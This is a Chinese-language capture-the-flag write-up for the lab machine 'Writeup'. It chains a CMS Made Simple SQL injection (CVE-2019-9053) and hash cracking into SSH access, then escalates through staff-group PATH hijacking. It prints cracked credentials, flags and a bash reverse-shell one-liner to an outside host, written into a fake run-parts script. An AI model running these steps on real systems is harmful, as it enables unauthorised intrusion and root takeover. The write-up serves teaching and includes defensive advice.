[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升
字数 1082 2025-08-22 12:23:41
CMS Made Simple SQL注入与Staff组路径劫持权限提升分析
1. 信息收集阶段
1.1 端口扫描
使用nmap进行端口扫描发现目标系统开放了两个端口:
- 22/tcp: OpenSSH 9.2p1 (Debian 2+deb12u1)
- 80/tcp: HTTP服务
扫描命令:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.138 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.138
1.2 Web目录扫描
使用feroxbuster进行目录扫描:
feroxbuster --url http://10.10.10.138
1.3 Web应用识别
使用whatweb识别CMS:
whatweb http://10.10.10.138/writeup/index.php -v
2. CMS Made Simple SQL注入漏洞利用 (CVE-2019-9053)
2.1 漏洞利用
使用公开的exp脚本进行利用:
python2 exp -u http://10.10.10.138/writeup
输出结果:
Username: jkr
Email: jkr@writeup.htb
Hash: 62def4866937f08cc13bab43bb14e6f7
Salt: 5a599ef579066807
2.2 密码破解
将hash和salt保存到文件:
echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > hash
使用hashcat进行破解:
hashcat -m 20 -a 0 hash /usr/share/wordlists/rockyou.txt
破解结果:
username: jkr
password: raykayjay9
2.3 获取初始访问权限
使用破解的凭据通过SSH登录:
ssh jkr@10.10.10.138
获取user flag:
8c05eec57b840468d15218b7a938f180
3. 权限提升:Staff组路径劫持
3.1 Staff组特性分析
目标系统存在staff组,该组具有以下特性:
- 允许用户在无需root权限的情况下修改/usr/local目录
- /usr/local/bin中的可执行文件会包含在所有用户的PATH变量中
- 可以覆盖/bin和/usr/bin中同名的可执行文件
3.2 监控root用户活动
下载pspy监控工具:
wget http://10.10.16.6/pspy32
发现root用户会执行以下操作:
- 使用run-parts执行/etc/update-motd.d目录下的脚本
- 输出结果保存到/run/motd.dynamic.new,作为登录时的动态信息
3.3 路径劫持攻击
由于PATH环境变量顺序为:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
攻击步骤:
- 创建恶意的run-parts脚本:
echo -e '#!/bin/bash\n\n/bin/bash >& /dev/tcp/10.10.16.6/10011 0>&1' > /usr/local/sbin/run-parts
chmod +x /usr/local/sbin/run-parts
- 等待root用户执行或通过SSH登录触发:
ssh jkr@10.10.10.138
- 获取root shell并读取root flag:
803d6f00a18d18dcbd03d8e5abf70eb9
4. 防御建议
4.1 针对SQL注入的防御
- 升级CMS Made Simple到最新版本
- 使用参数化查询和预处理语句
- 实施输入验证和过滤
4.2 针对路径劫持的防御
- 限制staff组的权限
- 修改PATH环境变量顺序,将系统目录放在前面
- 使用绝对路径执行关键命令
- 实施文件完整性监控
4.3 系统加固建议
- 定期审核用户和组权限
- 监控/usr/local目录的修改
- 限制motd脚本的执行权限
- 实施最小权限原则
5. 总结
本案例展示了如何通过CMS Made Simple的SQL注入漏洞获取初始访问权限,然后利用Linux系统中staff组的特性通过路径劫持实现权限提升。这种攻击链强调了Web应用安全和系统配置安全同样重要,任何一方的疏忽都可能导致整个系统的沦陷。